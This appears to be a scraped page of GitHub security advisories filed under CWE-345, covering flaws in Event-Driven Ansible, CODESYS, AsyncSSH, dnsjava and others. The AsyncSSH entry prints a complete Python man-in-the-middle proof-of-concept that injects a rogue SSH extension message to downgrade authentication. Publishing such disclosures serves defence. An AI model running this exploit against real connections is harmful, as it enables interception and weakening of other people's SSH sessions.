Common Weakness Enumeration

CWE-345

Discouraged

Insufficient Verification of Data Authenticity

Abstraction: Class · Status: Draft

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

1099 vulnerabilities reference this CWE, most recent first.

GHSA-C4XF-FV75-HWXM

Vulnerability from github – Published: 2026-07-27 21:31 – Updated: 2026-08-04 21:30
VLAI
Details

A flaw was found in the Event-Driven Ansible (EDA) server. The ExternalEventStreamViewSet uses permissive access controls (permission_classes=[AllowAny], authentication_classes=[]) and relies solely on the Subject HTTP header value for mTLS authentication without verifying that the header originated from a trusted proxy. Additionally, the expected certificate Distinguished Name is leaked in the 403 error response body. An attacker who can reach the EDA API endpoint with a spoofed Subject header can inject arbitrary events into mTLS-protected event streams, triggering downstream automation actions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-12383"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T19:17:14Z",
    "severity": "HIGH"
  },
  "details": "A flaw was found in the Event-Driven Ansible (EDA) server. The ExternalEventStreamViewSet uses permissive access controls (permission_classes=[AllowAny], authentication_classes=[]) and relies solely on the Subject HTTP header value for mTLS authentication without verifying that the header originated from a trusted proxy. Additionally, the expected certificate Distinguished Name is leaked in the 403 error response body. An attacker who can reach the EDA API endpoint with a spoofed Subject header can inject arbitrary events into mTLS-protected event streams, triggering downstream automation actions.",
  "id": "GHSA-c4xf-fv75-hwxm",
  "modified": "2026-08-04T21:30:25Z",
  "published": "2026-07-27T21:31:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12383"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50319"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50336"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:50340"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-12383"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2489127"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C5XR-PXXH-8H7H

Vulnerability from github – Published: 2022-05-13 01:10 – Updated: 2022-05-13 01:10
VLAI
Details

The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2015-6854"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-03-24T01:59:00Z",
    "severity": "CRITICAL"
  },
  "details": "The non-Domino web agents in CA Single Sign-On (aka SSO, formerly SiteMinder) R6, R12.0 before SP3 CR13, R12.0J before SP3 CR1.2, and R12.5 before CR5 allow remote attackers to cause a denial of service (daemon crash) or obtain sensitive information via a crafted request.",
  "id": "GHSA-c5xr-pxxh-8h7h",
  "modified": "2022-05-13T01:10:55Z",
  "published": "2022-05-13T01:10:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6854"
    },
    {
      "type": "WEB",
      "url": "http://www.ca.com/us/support/ca-support-online/product-content/recommended-reading/security-notices/ca20160323-01-security-notice-for-ca-single-sign-on-web-agents.aspx"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1035389"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C867-RXHP-5W2V

Vulnerability from github – Published: 2026-09-02 06:31 – Updated: 2026-09-02 12:31
VLAI
Details

The CatalogX WordPress plugin before 6.1.3 does not sanitise or escape content that an unauthenticated user can store before including it in the product enquiry notification email sent to the site administrator, allowing unauthenticated attackers to inject arbitrary content into that email, which is delivered when an unrelated visitor later submits a product enquiry.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-79621"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T06:17:18Z",
    "severity": "MODERATE"
  },
  "details": "The CatalogX  WordPress plugin before 6.1.3 does not sanitise or escape content that an unauthenticated user can store before including it in the product enquiry notification email sent to the site administrator, allowing unauthenticated attackers to inject arbitrary content into that email, which is delivered when an unrelated visitor later submits a product enquiry.",
  "id": "GHSA-c867-rxhp-5w2v",
  "modified": "2026-09-02T12:31:28Z",
  "published": "2026-09-02T06:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79621"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/9a4c12ff-80d8-400c-abfa-de557ead3b07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C86M-WFX2-QMX9

Vulnerability from github – Published: 2023-08-03 12:31 – Updated: 2024-04-04 06:30
VLAI
Details

In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-3663"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-940"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-03T11:15:10Z",
    "severity": "HIGH"
  },
  "details": "In CODESYS Development System versions from 3.5.11.20 and before 3.5.19.20 a missing integrity check might allow an unauthenticated remote attacker to manipulate the content of notifications received via HTTP by the CODESYS notification server.",
  "id": "GHSA-c86m-wfx2-qmx9",
  "modified": "2024-04-04T06:30:56Z",
  "published": "2023-08-03T12:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3663"
    },
    {
      "type": "WEB",
      "url": "https://cert.vde.com/en/advisories/VDE-2023-022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C8R8-GWG2-5WFH

Vulnerability from github – Published: 2022-04-22 00:00 – Updated: 2022-05-04 00:00
VLAI
Details

Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-14122"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-21T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Some Xiaomi phones have information leakage vulnerabilities, and some of them may be able to forge a specific identity due to the lack of parameter verification, resulting in user information leakage.",
  "id": "GHSA-c8r8-gwg2-5wfh",
  "modified": "2022-05-04T00:00:38Z",
  "published": "2022-04-22T00:00:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14122"
    },
    {
      "type": "WEB",
      "url": "https://trust.mi.com/zh-CN/misrc/bulletins/advisory?cveId=147"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C9W5-XR92-CPM7

Vulnerability from github – Published: 2024-08-08 18:31 – Updated: 2024-08-08 21:32
VLAI
Details

Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system's hard disk.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-28865"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-353"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-08T18:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Diebold Nixdorf Vynamic Security Suite (VSS) before 3.3.0 SR15, 4.0.0 SR05, 4.1.0 SR03, and 4.2.0 SR02 fails to validate the directory contents of certain directories (e.g., ensuring the expected hash sum) during the Pre-Boot Authorization (PBA) process. This can be exploited by a physical attacker who is able to manipulate the contents of the system\u0027s hard disk.",
  "id": "GHSA-c9w5-xr92-cpm7",
  "modified": "2024-08-08T21:32:01Z",
  "published": "2024-08-08T18:31:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28865"
    },
    {
      "type": "WEB",
      "url": "https://media.defcon.org/DEF%20CON%2032/DEF%20CON%2032%20presentations/DEF%20CON%2032%20-%20Matt%20Burch%20-%20Where%E2%80%99s%20the%20Money%20-%20Defeating%20ATM%20Disk%20Encryption-white%20paper.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.dieboldnixdorf.com/en-us/banking/portfolio/software/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CF83-H775-F5F6

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2023-01-27 18:30
VLAI
Details

Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird < 68.9.0, Firefox < 77, and Firefox ESR < 68.9.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-12406"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-09T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "Mozilla Developer Iain Ireland discovered a missing type check during unboxed objects removal, resulting in a crash. We presume that with enough effort that it could be exploited to run arbitrary code. This vulnerability affects Thunderbird \u003c 68.9.0, Firefox \u003c 77, and Firefox ESR \u003c 68.9.",
  "id": "GHSA-cf83-h775-f5f6",
  "modified": "2023-01-27T18:30:32Z",
  "published": "2022-05-24T17:22:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-12406"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1639590"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4421-1"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2020-20"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2020-21"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2020-22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CFC2-WR2V-GXM5

Vulnerability from github – Published: 2023-11-09 18:34 – Updated: 2025-11-04 16:46
VLAI
Summary
AsyncSSH Rogue Extension Negotiation
Details

Summary

An issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.

Details

The rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.

A correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).

PoC

AsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example) ```python #!/usr/bin/python3 import socket from threading import Thread from binascii import unhexlify ##################################################################################### ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ## ## ## ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example) ## ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example) ## ## ## ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0 ## ##################################################################################### # IP and port for the TCP proxy to bind to PROXY_IP = '127.0.0.1' PROXY_PORT = 2222 # IP and port of the server SERVER_IP = '127.0.0.1' SERVER_PORT = 22 # Length of the individual messages NEW_KEYS_LENGTH = 16 SERVER_EXT_INFO_LENGTH = 676 newkeys_payload = b'\x00\x00\x00\x0c\x0a\x15' def contains_newkeys(data): return newkeys_payload in data # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs rogue_ext_info = unhexlify('0000000C060700000000000000000000') def insert_rogue_ext_info(data): newkeys_index = data.index(newkeys_payload) # Insert rogue extension info and remove SSH_MSG_EXT_INFO return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:] def forward_client_to_server(client_socket, server_socket): try: while True: client_data = client_socket.recv(4096) if len(client_data) == 0: break server_socket.send(client_data) except ConnectionResetError: print("[!] Client connection has been reset. Continue closing sockets.") print("[!] forward_client_to_server thread ran out of data, closing sockets!") client_socket.close() server_socket.close() def forward_server_to_client(client_socket, server_socket): try: while True: server_data = server_socket.recv(4096) if contains_newkeys(server_data): print("[+] SSH_MSG_NEWKEYS sent by server identified!") if len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: print("[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!") while len(server_data) < NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH: server_data += server_socket.recv(4096) print(f"[d] Original server_data before modification: {server_data.hex()}") server_data = insert_rogue_ext_info(server_data) print(f"[d] Modified server_data with rogue extension info: {server_data.hex()}") if len(server_data) == 0: break client_socket.send(server_data) except ConnectionResetError: print("[!] Target connection has been reset. Continue closing sockets.") print("[!] forward_server_to_client thread ran out of data, closing sockets!") client_socket.close() server_socket.close() if __name__ == '__main__': print("--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---") mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) mitm_socket.bind((PROXY_IP, PROXY_PORT)) mitm_socket.listen(5) print(f"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...") try: while True: client_socket, client_addr = mitm_socket.accept() print(f"[+] Accepted connection from: {client_addr}") print(f"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.") server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.connect((SERVER_IP, SERVER_PORT)) print("[+] Spawning new forwarding threads to handle client connection.") Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start() Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start() except KeyboardInterrupt: client_socket.close() server_socket.close() mitm_socket.close() ```

Impact

Algorithm downgrade during user authentication.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "asyncssh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.14.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46445"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349",
      "CWE-354"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-09T18:34:53Z",
    "nvd_published_at": "2023-11-14T03:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn issue in AsyncSSH v2.14.0 and earlier allows attackers to control the extension info message (RFC 8308) via a man-in-the-middle attack.\n\n### Details\n\nThe rogue extension negotiation attack targets an AsyncSSH client connecting to any SSH server sending an extension info message. The attack exploits an implementation flaw in the AsyncSSH implementation to inject an extension info message chosen by the attacker and delete the original extension info message, effectively replacing it.\n\nA correct SSH implementation should not process an unauthenticated extension info message. However, the injected message is accepted due to flaws in AsyncSSH. AsyncSSH supports the server-sig-algs and global-requests-ok extensions. Hence, the attacker can downgrade the algorithm used for client authentication by meddling with the value of server-sig-algs (e.g. use of SHA-1 instead of SHA-2).\n\n### PoC\n\n\u003cdetails\u003e\n    \u003csummary\u003eAsyncSSH Client 2.14.0 (simple_client.py example) connecting to AsyncSSH Server 2.14.0 (simple_server.py example)\u003c/summary\u003e\n\n   ```python\n    #!/usr/bin/python3\n    import socket\n    from threading import Thread\n    from binascii import unhexlify\n    \n    #####################################################################################\n    ## Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ##\n    ##                                                                                 ##\n    ## Client(s) tested: AsyncSSH 2.14.0 (simple_client.py example)                    ##\n    ## Server(s) tested: AsyncSSH 2.14.0 (simple_server.py example)                    ##\n    ##                                                                                 ##\n    ## Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0    ##\n    #####################################################################################\n    \n    # IP and port for the TCP proxy to bind to\n    PROXY_IP = \u0027127.0.0.1\u0027\n    PROXY_PORT = 2222\n    \n    # IP and port of the server\n    SERVER_IP = \u0027127.0.0.1\u0027\n    SERVER_PORT = 22\n    \n    # Length of the individual messages\n    NEW_KEYS_LENGTH = 16\n    SERVER_EXT_INFO_LENGTH = 676\n    \n    newkeys_payload = b\u0027\\x00\\x00\\x00\\x0c\\x0a\\x15\u0027\n    def contains_newkeys(data):\n        return newkeys_payload in data\n    \n    # Empty EXT_INFO here to keep things simple, but may also contain actual extensions like server-sig-algs\n    rogue_ext_info = unhexlify(\u00270000000C060700000000000000000000\u0027)\n    def insert_rogue_ext_info(data):\n        newkeys_index = data.index(newkeys_payload)\n        # Insert rogue extension info and remove SSH_MSG_EXT_INFO\n        return data[:newkeys_index] + rogue_ext_info + data[newkeys_index:newkeys_index + NEW_KEYS_LENGTH] + data[newkeys_index + NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:]\n    \n    def forward_client_to_server(client_socket, server_socket):\n        try:\n            while True:\n                client_data = client_socket.recv(4096)\n                if len(client_data) == 0:\n                    break\n                server_socket.send(client_data)\n        except ConnectionResetError:\n            print(\"[!] Client connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_client_to_server thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    def forward_server_to_client(client_socket, server_socket):\n        try:\n            while True:\n                server_data = server_socket.recv(4096)\n                if contains_newkeys(server_data):\n                    print(\"[+] SSH_MSG_NEWKEYS sent by server identified!\")\n                    if len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        print(\"[+] server_data does not contain all messages sent by the server yet. Receiving additional bytes until we have 692 bytes buffered!\")\n                    while len(server_data) \u003c NEW_KEYS_LENGTH + SERVER_EXT_INFO_LENGTH:\n                        server_data += server_socket.recv(4096)\n                    print(f\"[d] Original server_data before modification: {server_data.hex()}\")\n                    server_data = insert_rogue_ext_info(server_data)\n                    print(f\"[d] Modified server_data with rogue extension info: {server_data.hex()}\")\n                if len(server_data) == 0:\n                    break\n                client_socket.send(server_data)\n        except ConnectionResetError:\n            print(\"[!] Target connection has been reset. Continue closing sockets.\")\n        print(\"[!] forward_server_to_client thread ran out of data, closing sockets!\")\n        client_socket.close()\n        server_socket.close()\n    \n    if __name__ == \u0027__main__\u0027:\n        print(\"--- Proof of Concept for the rogue extension negotiation attack (ChaCha20-Poly1305) ---\")\n        mitm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        mitm_socket.bind((PROXY_IP, PROXY_PORT))\n        mitm_socket.listen(5)\n    \n        print(f\"[+] MitM Proxy started. Listening on {(PROXY_IP, PROXY_PORT)} for incoming connections...\")\n    \n        try:\n            while True:\n                client_socket, client_addr = mitm_socket.accept()\n                print(f\"[+] Accepted connection from: {client_addr}\")\n                print(f\"[+] Establishing new server connection to {(SERVER_IP, SERVER_PORT)}.\")\n                server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n                server_socket.connect((SERVER_IP, SERVER_PORT))\n                print(\"[+] Spawning new forwarding threads to handle client connection.\")\n                Thread(target=forward_client_to_server, args=(client_socket, server_socket)).start()\n                Thread(target=forward_server_to_client, args=(client_socket, server_socket)).start()\n        except KeyboardInterrupt:\n            client_socket.close()\n            server_socket.close()\n            mitm_socket.close()\n  ```\n\u003c/details\u003e\n\n### Impact\n\nAlgorithm downgrade during user authentication.",
  "id": "GHSA-cfc2-wr2v-gxm5",
  "modified": "2025-11-04T16:46:51Z",
  "published": "2023-11-09T18:34:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46445"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/commit/83e43f5ea3470a8617fc388c72b062c7136efd7e"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cfc2-wr2v-gxm5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/asyncssh/PYSEC-2023-237.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ronf/asyncssh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ME34ROZWMDK5KLMZKTSA422XVJZ7IMTE"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231222-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.terrapin-attack.com"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AsyncSSH Rogue Extension Negotiation"
}

GHSA-CFCV-RGX7-FW5J

Vulnerability from github – Published: 2023-01-11 09:30 – Updated: 2023-01-19 00:30
VLAI
Details

Insufficient checks in SEV may lead to a malicious hypervisor disclosing the launch secret potentially resulting in compromise of VM confidentiality.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-26403"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-11T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Insufficient checks in SEV may lead to a malicious hypervisor disclosing the launch secret potentially resulting in compromise of VM confidentiality.",
  "id": "GHSA-cfcv-rgx7-fw5j",
  "modified": "2023-01-19T00:30:31Z",
  "published": "2023-01-11T09:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26403"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-1032"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CFXW-4H78-H7FW

Vulnerability from github – Published: 2024-07-22 14:33 – Updated: 2024-09-04 14:24
VLAI
Summary
DNSJava DNSSEC Bypass
Details

Summary

Records in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.

Details

DNS Messages are not authenticated. They do not guarantee that

  • received RRs are authentic
  • not received RRs do not exist
  • all or any received records in a response relate to the request

Applications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two. To meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)

  1. denote by QNAME the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases
  2. if the ANSWER section contains a valid PTR RRSet for QNAME, return it (and optionally return the list of aliases as well)
  3. if the ANSWER section contains a valid CNAME RRSet for QNAME, add it to the list of aliases. Set QNAME to the CNAME's target and go to 2.
  4. Verify that QNAME does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return null.

Note that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.

dnsjava does not implement a comparable algorithm, and the provided APIs instead return either

  • the received DNS message itself (e.g. when using a ValidatingResolver such as in this example), or
  • essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in this example)

If applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can

  • In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or
  • completely exchange the relevant response records

Impact

DNS(SEC) libraries are usually used as part of a larger security framework. Therefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request. Here are three concrete examples of where this might be detrimental:

  • RFC 6186 specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user's credentials to the specified servers. Exchanging the SRV records can be a tool to redirect the credentials.
  • When delivering mail via SMTP, MX records determine where to deliver the mails to. Exchanging the MX records might lead to information disclosure. Additionally, an exchange of TLSA records might allow attackers to intercept TLS traffic.
  • Some research projects like LIGHTest are trying to manage CA trust stores via URI and SMIMEA records in the DNS. Exchanging these allows manipulating the root of trust for dependent applications.

Mitigations

At this point, the following mitigations are recommended:

  • When using a ValidatingResolver, ignore any Server indications of whether or not data was available (e.g. NXDOMAIN, NODATA, ...).
  • For APIs returning RRs from DNS responses, filter the RRs using an algorithm such as the one above. This includes e.g. LookupSession.lookupAsync.
  • Remove APIs dealing with raw DNS messages from the examples section or place a noticable warning above.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "dnsjava:dnsjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-25638"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-349"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-22T14:33:41Z",
    "nvd_published_at": "2024-07-22T14:15:04Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nRecords in DNS replies are not checked for their relevance to the query, allowing an attacker to respond with RRs from different zones.\n\n### Details\n\nDNS Messages are not authenticated. They do not guarantee that\n\n- received RRs are authentic\n- not received RRs do not exist\n- all or any received records in a response relate to the request\n\nApplications utilizing DNSSEC generally expect these guarantees to be met, however DNSSEC by itself only guarantees the first two.\nTo meet the third guarantee, resolvers generally follow an (undocumented, as far as RFCs go) algorithm such as: (simplified, e.g. lacks DNSSEC validation!)\n\n1. denote by `QNAME` the name you are querying (e.g. fraunhofer.de.), and initialize a list of aliases\n2. if the ANSWER section contains a valid PTR RRSet for `QNAME`, return it (and optionally return the list of aliases as well)\n3. if the ANSWER section contains a valid CNAME RRSet for `QNAME`, add it to the list of aliases. Set `QNAME` to the CNAME\u0027s target and go to 2.\n4. Verify that `QNAME` does not have any PTR, CNAME and DNAME records using valid NSEC or NSEC3 records. Return `null`.\n\nNote that this algorithm relies on NSEC records and thus requires a considerable portion of the DNSSEC specifications to be implemented. For this reason, it cannot be performed by a DNS client (aka application) and is typically performed as part of the resolver logic.\n\ndnsjava does not implement a comparable algorithm, and the provided APIs instead return either\n\n- the received DNS message itself (e.g. when using a ValidatingResolver such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#dnssec-resolver) example), or\n- essentially just the contents of its ANSWER section (e.g. when using a LookupSession such as in [this](https://github.com/dnsjava/dnsjava/blob/master/EXAMPLES.md#simple-lookup-with-a-resolver) example)\n\nIf applications blindly filter the received results for RRs of the desired record type (as seems to be typical usage for dnsjava), a rogue recursive resolver or (on UDP/TCP connections) a network attacker can\n\n- In addition to the actual DNS response, add RRs irrelevant to the query but of the right datatype, e.g. from another zone, as long as that zone is correctly using DNSSEC, or\n- completely exchange the relevant response records\n\n### Impact\n\nDNS(SEC) libraries are usually used as part of a larger security framework.\nTherefore, the main misuses of this vulnerability concern application code, which might take the returned records as authentic answers to the request.\nHere are three concrete examples of where this might be detrimental:\n\n- [RFC 6186](https://datatracker.ietf.org/doc/html/rfc6186) specifies that to connect to an IMAP server for a user, a mail user agent should retrieve certain SRV records and send the user\u0027s credentials to the specified servers. 